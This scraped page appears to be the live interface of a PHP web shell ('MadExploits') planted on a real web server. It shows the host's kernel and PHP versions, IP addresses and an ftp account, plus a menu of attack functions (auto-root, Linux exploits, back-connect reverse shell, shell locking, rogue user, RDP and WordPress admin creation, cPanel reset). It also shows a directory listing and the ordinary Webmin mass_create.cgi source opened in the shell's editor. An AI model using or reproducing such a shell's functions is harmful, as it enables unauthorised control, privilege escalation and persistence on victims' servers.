Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
bind8 /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
12.67
KB
-rw-r--r--
acl_security.pl
10.25
KB
-rwxr-xr-x
backup_config.pl
1.47
KB
-rwxr-xr-x
bind8-lib.pl
114.63
KB
-rwxr-xr-x
cgi_args.pl
1.92
KB
-rwxr-xr-x
check_zone.cgi
1.04
KB
-rwxr-xr-x
close.cgi
342
B
-rwxr-xr-x
conf_acls.cgi
989
B
-rwxr-xr-x
conf_controls.cgi
2.34
KB
-rwxr-xr-x
conf_dnssec.cgi
936
B
-rwxr-xr-x
conf_dnssectools.cgi
2.16
KB
-rwxr-xr-x
conf_files.cgi
1.19
KB
-rwxr-xr-x
conf_forwarding.cgi
1.54
KB
-rwxr-xr-x
conf_keys.cgi
1.07
KB
-rwxr-xr-x
conf_logging.cgi
4.85
KB
-rwxr-xr-x
conf_manual.cgi
1.21
KB
-rwxr-xr-x
conf_misc.cgi
1.95
KB
-rwxr-xr-x
conf_ncheck.cgi
807
B
-rwxr-xr-x
conf_net.cgi
3.49
KB
-rwxr-xr-x
conf_rndc.cgi
1.15
KB
-rwxr-xr-x
conf_servers.cgi
1.8
KB
-rwxr-xr-x
conf_trusted.cgi
2.84
KB
-rwxr-xr-x
conf_zonedef.cgi
4.9
KB
-rwxr-xr-x
config-AlmaLinux-6.0-ALL
989
B
-rw-r--r--
config-CentOS-Linux-6.0-7.9
997
B
-rw-r--r--
config-CentOS-Linux-8.0-ALL
989
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
989
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
989
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
976
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
989
B
-rw-r--r--
config-Rocky-Linux-6.0-ALL
989
B
-rw-r--r--
config-Scientific-Linux-6.0-AL...
935
B
-rw-r--r--
config-aix
717
B
-rw-r--r--
config-cobalt-linux
722
B
-rw-r--r--
config-coherent-linux
857
B
-rw-r--r--
config-corel-linux
722
B
-rw-r--r--
config-debian-linux
722
B
-rw-r--r--
config-debian-linux-10.0-ALL
991
B
-rw-r--r--
config-debian-linux-2.2
727
B
-rw-r--r--
config-debian-linux-3.0
842
B
-rw-r--r--
config-debian-linux-3.1-9.0
934
B
-rw-r--r--
config-freebsd-12.0-ALL
790
B
-rw-r--r--
config-freebsd-2.1-2.2
728
B
-rw-r--r--
config-freebsd-3.0
729
B
-rw-r--r--
config-freebsd-3.1-3.5
722
B
-rw-r--r--
config-freebsd-4.0-11.0
757
B
-rw-r--r--
config-generic-linux
750
B
-rw-r--r--
config-gentoo-linux
827
B
-rw-r--r--
config-hpux
722
B
-rw-r--r--
config-irix
722
B
-rw-r--r--
config-macos
728
B
-rw-r--r--
config-macos-1.3-ALL
789
B
-rw-r--r--
config-mandrake-linux
814
B
-rw-r--r--
config-mandrake-linux-10.2-ALL
802
B
-rw-r--r--
config-msc-linux
788
B
-rw-r--r--
config-netbsd
729
B
-rw-r--r--
config-open-linux
798
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
938
B
-rw-r--r--
config-openbsd-2.5-3.1
722
B
-rw-r--r--
config-openbsd-3.2-ALL
740
B
-rw-r--r--
config-openmamba-linux
798
B
-rw-r--r--
config-openserver
722
B
-rw-r--r--
config-osf1
722
B
-rw-r--r--
config-pardus-linux
875
B
-rw-r--r--
config-redhat-linux-7.0-ALL
989
B
-rw-r--r--
config-redhat-linux-ALL-6.0
997
B
-rw-r--r--
config-slackware-linux
722
B
-rw-r--r--
config-slackware-linux-8.0-ALL
756
B
-rw-r--r--
config-sol-linux
850
B
-rw-r--r--
config-solaris
737
B
-rw-r--r--
config-solaris-10-ALL
835
B
-rw-r--r--
config-solaris-7-9
725
B
-rw-r--r--
config-suse-linux
722
B
-rw-r--r--
config-suse-linux-8.2
882
B
-rw-r--r--
config-suse-linux-9.0-9.2
995
B
-rw-r--r--
config-suse-linux-9.3-ALL
1.03
KB
-rw-r--r--
config-syno-linux
683
B
-rw-r--r--
config-trustix-linux
927
B
-rw-r--r--
config-trustix-linux-2.1
923
B
-rw-r--r--
config-trustix-linux-2.2-ALL
939
B
-rw-r--r--
config-turbo-linux
722
B
-rw-r--r--
config-united-linux
822
B
-rw-r--r--
config-unixware
763
B
-rw-r--r--
config-windows
1.17
KB
-rw-r--r--
config.info
4.02
KB
-rw-r--r--
config.info.bg
6.88
KB
-rw-r--r--
config.info.ca
4.5
KB
-rw-r--r--
config.info.cs
3.34
KB
-rw-r--r--
config.info.de
4.6
KB
-rw-r--r--
config.info.es
3.33
KB
-rw-r--r--
config.info.fa
4.7
KB
-rw-r--r--
config.info.fr
4.92
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja
4.03
KB
-rw-r--r--
config.info.ms
1.12
KB
-rw-r--r--
config.info.nl
4.1
KB
-rw-r--r--
config.info.no
4
KB
-rw-r--r--
config.info.pl
4.42
KB
-rw-r--r--
config.info.pt_BR
3.86
KB
-rw-r--r--
config.info.ru
3.02
KB
-rw-r--r--
config.info.sv
1.02
KB
-rw-r--r--
config.info.tr
646
B
-rw-r--r--
config.info.uk
3.14
KB
-rw-r--r--
config.info.zh
750
B
-rw-r--r--
config.info.zh_TW
364
B
-rw-r--r--
convert_master.cgi
1.02
KB
-rwxr-xr-x
convert_slave.cgi
1.44
KB
-rwxr-xr-x
cpan_modules.pl
143
B
-rw-r--r--
create_delegation.cgi
1.77
KB
-rwxr-xr-x
create_forward.cgi
2.09
KB
-rwxr-xr-x
create_hint.cgi
1.47
KB
-rwxr-xr-x
create_master.cgi
5.61
KB
-rwxr-xr-x
create_slave.cgi
4.1
KB
-rwxr-xr-x
create_view.cgi
1.5
KB
-rwxr-xr-x
db.cache
2.44
KB
-rw-r--r--
defaultacl
219
B
-rw-r--r--
delegation_form.cgi
1.3
KB
-rwxr-xr-x
delete_recs.cgi
2.66
KB
-rwxr-xr-x
delete_view.cgi
2.34
KB
-rwxr-xr-x
delete_zone.cgi
5.3
KB
-rwxr-xr-x
disable_zonedt.cgi
934
B
-rwxr-xr-x
disable_zonekey.cgi
928
B
-rwxr-xr-x
dns_boot.cgi
2.56
KB
-rwxr-xr-x
edit_delegation.cgi
1.11
KB
-rwxr-xr-x
edit_forward.cgi
1.82
KB
-rwxr-xr-x
edit_hint.cgi
1
KB
-rwxr-xr-x
edit_master.cgi
5.75
KB
-rwxr-xr-x
edit_options.cgi
1.62
KB
-rwxr-xr-x
edit_record.cgi
1.13
KB
-rwxr-xr-x
edit_recs.cgi
7.65
KB
-rwxr-xr-x
edit_slave.cgi
3.93
KB
-rwxr-xr-x
edit_soa.cgi
2.51
KB
-rwxr-xr-x
edit_soptions.cgi
2.11
KB
-rwxr-xr-x
edit_stub.cgi
3.93
KB
-rwxr-xr-x
edit_text.cgi
1.26
KB
-rwxr-xr-x
edit_view.cgi
2.12
KB
-rwxr-xr-x
edit_zonedt.cgi
6.52
KB
-rwxr-xr-x
edit_zonekey.cgi
4.13
KB
-rwxr-xr-x
enable_zonedt.cgi
1.12
KB
-rwxr-xr-x
enable_zonekey.cgi
1.42
KB
-rwxr-xr-x
feedback_files.pl
588
B
-rwxr-xr-x
find_free.cgi
5.59
KB
-rwxr-xr-x
find_zones.cgi
3.89
KB
-rwxr-xr-x
fix_trusted.cgi
1
KB
-rwxr-xr-x
forward_form.cgi
1.38
KB
-rwxr-xr-x
free_chooser.cgi
2
KB
-rwxr-xr-x
freeze_zone.cgi
992
B
-rwxr-xr-x
hint_form.cgi
1.79
KB
-rwxr-xr-x
index.cgi
17.51
KB
-rwxr-xr-x
install_check.pl
513
B
-rwxr-xr-x
list_gen.cgi
1.95
KB
-rwxr-xr-x
list_slaves.cgi
3.28
KB
-rwxr-xr-x
log_parser.pl
2.47
KB
-rwxr-xr-x
mass_create.cgi
7.33
KB
-rwxr-xr-x
mass_delete.cgi
3.42
KB
-rwxr-xr-x
mass_form.cgi
1.44
KB
-rwxr-xr-x
mass_rcreate.cgi
3.56
KB
-rwxr-xr-x
mass_rcreate_form.cgi
1.49
KB
-rwxr-xr-x
mass_rdelete.cgi
1.87
KB
-rwxr-xr-x
mass_rdelete_form.cgi
1.3
KB
-rwxr-xr-x
mass_update.cgi
3
KB
-rwxr-xr-x
mass_update_form.cgi
1.07
KB
-rwxr-xr-x
master_form.cgi
3.48
KB
-rwxr-xr-x
module.info
279
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
116
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
152
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
173
B
-rw-r--r--
module.info.bg
30
B
-rw-r--r--
module.info.bg.auto
143
B
-rw-r--r--
module.info.ca
106
B
-rw-r--r--
module.info.ca.auto
16
B
-rw-r--r--
module.info.cs
24
B
-rw-r--r--
module.info.cs.auto
105
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
122
B
-rw-r--r--
module.info.de
113
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
199
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.auto
90
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
129
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
164
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
129
B
-rw-r--r--
module.info.fr
41
B
-rw-r--r--
module.info.fr.auto
113
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
147
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
124
B
-rw-r--r--
module.info.hu
27
B
-rw-r--r--
module.info.hu.auto
125
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
107
B
-rw-r--r--
module.info.ja
27
B
-rw-r--r--
module.info.ja.auto
134
B
-rw-r--r--
module.info.ko
25
B
-rw-r--r--
module.info.ko.auto
111
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
128
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
132
B
-rw-r--r--
module.info.ms
110
B
-rw-r--r--
module.info.ms.auto
13
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
114
B
-rw-r--r--
module.info.nl
24
B
-rw-r--r--
module.info.nl.auto
87
B
-rw-r--r--
module.info.no
24
B
-rw-r--r--
module.info.no.auto
98
B
-rw-r--r--
module.info.pl
96
B
-rw-r--r--
module.info.pl.auto
17
B
-rw-r--r--
module.info.pt
29
B
-rw-r--r--
module.info.pt.auto
101
B
-rw-r--r--
module.info.pt_BR
32
B
-rw-r--r--
module.info.pt_BR.auto
107
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
131
B
-rw-r--r--
module.info.ru
30
B
-rw-r--r--
module.info.ru.auto
167
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
125
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
128
B
-rw-r--r--
module.info.sv
24
B
-rw-r--r--
module.info.sv.auto
93
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
218
B
-rw-r--r--
module.info.tr
26
B
-rw-r--r--
module.info.tr.auto
121
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
197
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
193
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
151
B
-rw-r--r--
module.info.zh
27
B
-rw-r--r--
module.info.zh.auto
83
B
-rw-r--r--
module.info.zh_TW
30
B
-rw-r--r--
module.info.zh_TW.auto
89
B
-rw-r--r--
move_zone.cgi
1.27
KB
-rwxr-xr-x
old_save_controls.cgi
2.13
KB
-rwxr-xr-x
open.cgi
307
B
-rwxr-xr-x
prefs.info
61
B
-rw-r--r--
records-lib.pl
26.54
KB
-rwxr-xr-x
refetch.cgi
705
B
-rwxr-xr-x
resign.pl
2.11
KB
-rwxr-xr-x
resign_zone.cgi
708
B
-rwxr-xr-x
restart.cgi
819
B
-rwxr-xr-x
restart_zone.cgi
655
B
-rwxr-xr-x
save_acls.cgi
1.6
KB
-rwxr-xr-x
save_controls.cgi
2.3
KB
-rwxr-xr-x
save_dnssec.cgi
1.29
KB
-rwxr-xr-x
save_dnssectools.cgi
1.39
KB
-rwxr-xr-x
save_files.cgi
831
B
-rwxr-xr-x
save_forward.cgi
847
B
-rwxr-xr-x
save_forwarding.cgi
1.08
KB
-rwxr-xr-x
save_gen.cgi
3.79
KB
-rwxr-xr-x
save_keys.cgi
1.15
KB
-rwxr-xr-x
save_logging.cgi
2.97
KB
-rwxr-xr-x
save_manual.cgi
774
B
-rwxr-xr-x
save_master.cgi
1.06
KB
-rwxr-xr-x
save_misc.cgi
1.3
KB
-rwxr-xr-x
save_net.cgi
3.16
KB
-rwxr-xr-x
save_record.cgi
22.66
KB
-rwxr-xr-x
save_rndc.cgi
2.87
KB
-rwxr-xr-x
save_servers.cgi
1.73
KB
-rwxr-xr-x
save_slave.cgi
1.56
KB
-rwxr-xr-x
save_soa.cgi
2.58
KB
-rwxr-xr-x
save_text.cgi
1.12
KB
-rwxr-xr-x
save_trusted.cgi
2.76
KB
-rwxr-xr-x
save_view.cgi
1.36
KB
-rwxr-xr-x
save_zonedef.cgi
3.05
KB
-rwxr-xr-x
sign_zone.cgi
770
B
-rwxr-xr-x
slave_add.cgi
4.97
KB
-rwxr-xr-x
slave_delete.cgi
651
B
-rwxr-xr-x
slave_form.cgi
2.15
KB
-rwxr-xr-x
start.cgi
467
B
-rwxr-xr-x
stop.cgi
341
B
-rwxr-xr-x
stub_form.cgi
2.15
KB
-rwxr-xr-x
syslog_logs.pl
708
B
-rwxr-xr-x
system_info.pl
1.11
KB
-rw-r--r--
unfreeze_zone.cgi
990
B
-rwxr-xr-x
view_form.cgi
1.11
KB
-rwxr-xr-x
view_text.cgi
1.05
KB
-rwxr-xr-x
whois.cgi
1.14
KB
-rwxr-xr-x
xfer.cgi
1.66
KB
-rwxr-xr-x
zone_dnssecmgt_dt.cgi
1.37
KB
-rwxr-xr-x
zone_dnssecmigrate_dt.cgi
2.32
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mass_create.cgi
#!/usr/bin/perl # Actually create multiple zones use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; our (%access, %in, %text, %config); require './bind8-lib.pl'; &ReadParseMime(); &ui_print_unbuffered_header(undef, $text{'mass_title'}, ""); &error_setup($text{'mass_err'}); my $conf = &get_config(); $access{'ro'} && &error($text{'master_ero'}); # Check if the template needs IPs my $tmpl_ip; if ($in{'tmpl'}) { for(my $i=0; $config{"tmpl_$i"}; $i++) { my @c = split(/\s+/, $config{"tmpl_$i"}, 3); if ($c[1] eq 'A' && !$c[2]) { $tmpl_ip++; } } } my $vn; my @zones; my $zonecount; my $lnum; # Build map of taken zones if ($in{'view'} ne '') { # In some view @zones = grep { $_->{'viewindex'} eq $in{'view'} && $_->{'type'} ne 'view' } &list_zone_names(); my $view = $conf->[$in{'view'}]; &can_edit_view($view) || &error($text{'mass_eviewcannot'}); $vn = $view->{'value'}; } else { # At top-level @zones = grep { !$_->{'view'} && $_->{'type'} ne 'view' } &list_zone_names(); $vn = undef; } my %taken = map { $_->{'name'}, $_ } @zones; # Get zone defaults my %zd; &get_zone_defaults(\%zd); if ($in{'local'}) { &allowed_zone_file(\%access, $in{'local'}) || &error($text{'mass_elocalcannot'}); my $local = &read_file_contents($in{'local'}); $local || &error($text{'mass_elocal'}); print "<b>",&text('mass_dolocal', "<tt>$in{'local'}</tt>"),"</b><br>\n"; &execute_batchfile($local); print "<b>",$text{'mass_done'},"</b><p>\n"; } if ($in{'upload'}) { print "<b>",&text('mass_doupload'),"</b><br>\n"; &execute_batchfile($in{'upload'}); print "<b>",$text{'mass_done'},"</b><p>\n"; } if ($in{'text'}) { print "<b>",&text('mass_dotext'),"</b><br>\n"; &execute_batchfile($in{'text'}); print "<b>",$text{'mass_done'},"</b><p>\n"; } &webmin_log("mass", undef, $zonecount); &ui_print_footer("", $text{'index_return'}); # execute_batchfile(data) sub execute_batchfile { my @lines = split(/[\r\n]+/, $_[0]); my $l; $lnum = 0; foreach my $l (@lines) { $lnum++; my @w = split(/:/, $l); my $dom = $w[0]; if ($dom !~ /^[a-z0-9\.\-\_]+$/) { &line_error($l, $text{'mass_edom'}); next; } my $isrev = 0; if (&check_ipaddress($dom)) { $dom = &ip_to_arpa($dom); $isrev = 1; } # Check for a clash if ($taken{$dom}) { &line_error($l, $text{'mass_etaken'}); next; } # Get the IP addresses my @mips = split(/\s+/, $w[3]); foreach my $mip (@mips) { if (!&check_ipaddress($mip)) { &line_error($l, $text{'mass_eip'}); next; } } my $type = $w[1] || "master"; my $file = $w[2]; my $dir; my $base; if ($type eq "master") { # Creating a master zone if (!$access{'master'}) { &line_error($l, $text{'mcreate_ecannot'}); next; } # Work out the base $base = $config{'master_dir'} ? $config{'master_dir'} : $access{'dir'} eq '/' ? &base_directory($conf) : $access{'dir'}; if ($base !~ /^([a-z]:)?\//) { # Master dir is relative .. make absolute $base = &base_directory()."/".$base; } # Make sure a template IP was given, if needed if ($tmpl_ip && !@mips) { &line_error($l, $text{'mass_etmpl'}); next; } # Work out the filename if ($file) { if ($file !~ /^\//) { $file = $base."/".$file; } if (!&allowed_zone_file(\%access, $file)) { &line_error($l, &text('create_efile2', $file)); next; } } else { $file = &automatic_filename($dom, $isrev, $base, $vn); } if (-r &make_chroot($file)) { &line_error($l, &text('create_efile4', $file)); next; } # Create the zone file and initial records my $master = $config{'default_prins'} || &get_system_hostname(); $master =~ s/\.$//; $master .= "."; my $email = $config{'tmpl_email'} || "root\@$master"; $email = &email_to_dotted($email); &create_master_records($file, $dom, $master, $email, $zd{'refresh'}.$zd{'refunit'}, $zd{'retry'}.$zd{'retunit'}, $zd{'expiry'}.$zd{'expunit'}, $zd{'minimum'}.$zd{'minunit'}, 1, $in{'onslave'} && $access{'remote'}, $in{'tmpl'}, $mips[0]); # Create the zone directive $dir = { 'name' => 'zone', 'values' => [ $dom ], 'type' => 1, 'members' => [ { 'name' => 'type', 'values' => [ 'master' ] }, { 'name' => 'file', 'values' => [ $file ] } ] }; } elsif ($type eq "slave" || $type eq "stub") { # Creating a slave or stub zone if (!$access{'slave'}) { &line_error($l, $text{'screate_ecannot1'}); next; } # Work out the base $base = $config{'slave_dir'} ? $config{'slave_dir'} : $access{'dir'} eq '/' ? &base_directory($conf) : $access{'dir'}; if ($base !~ /^([a-z]:)?\//) { # Slave dir is relative .. make absolute $base = &base_directory()."/".$base; } # Make sure some master IPs were given if (!@mips) { &line_error($l, $text{'mass_emips'}); next; } # Work out the filename if ($file eq "none") { $file = undef; # no file! } elsif ($file) { if ($file !~ /^\//) { $file = $base."/".$file; } if (!&allowed_zone_file(\%access, $file)) { &line_error($l, &text('create_efile2', $file)); next; } } else { $file = &automatic_filename($dom, $isrev, $base, $vn); } # Create the file now if ($file) { my $ZONE; if (!open($ZONE, ">", &make_chroot($file))) { &line_error($l, &text('create_efile3', $file, $!)); next; } close($ZONE); &set_ownership(&make_chroot($file)); } # Create the structure my @mdirs = map { { 'name' => $_ } } @mips; my $masters = { 'name' => 'masters', 'type' => 1, 'members' => \@mdirs }; $dir = { 'name' => 'zone', 'values' => [ $dom ], 'type' => 1, 'members' => [ { 'name' => 'type', 'values' => [ $type ] }, $masters ] }; if ($file) { push(@{$dir->{'members'}}, { 'name' => 'file', 'values' => [ $file ] }); } } elsif ($type eq "forward") { # Creating a forward if (!$access{'forward'}) { &line_error($l, $text{'fcreate_ecannot'}); next; } # Make sure some master IPs were given if (!@mips) { &line_error($l, $text{'mass_emips'}); next; } # Create the structure my @mdirs = map { { 'name' => $_ } } @mips; my $masters = { 'name' => 'forwarders', 'type' => 1, 'members' => \@mdirs }; $dir = { 'name' => 'zone', 'values' => [ $dom ], 'type' => 1, 'members' => [ { 'name' => 'type', 'values' => [ 'forward' ] }, $masters ] }; } else { &line_error($l, $text{'mass_etype'}); next; } if ($dir) { # Add the zone structure &create_zone($dir, $conf, $in{'view'}); &add_zone_access($dom); $taken{$dom}++; &line_ok($dom, $type); $zonecount++; } if ($type eq "master" && $in{'onslave'} && $access{'remote'}) { # Create on slave servers my @slaveerrs = &create_on_slaves($dom, $config{'this_ip'} || &to_ipaddress(&get_system_hostname()), undef, undef, $vn); print " \n"; if (@slaveerrs) { my $serrs = join(", ", map { "$_->[0]->{'host'} : $_->[1]" } @slaveerrs); print "<font color=#ff0000>", &text('mass_eonslave', $serrs),"</font><br>\n"; } else { print &text('mass_addedslaves', $dom),"<br>\n"; } } } } sub line_error { print "<font color=#ff0000>",&text('mass_eline', $lnum, $_[1], $_[0]), "</font><br>\n"; } sub line_ok { print &text('mass_added'.$_[1], $_[0]),"<br>\n"; }
Close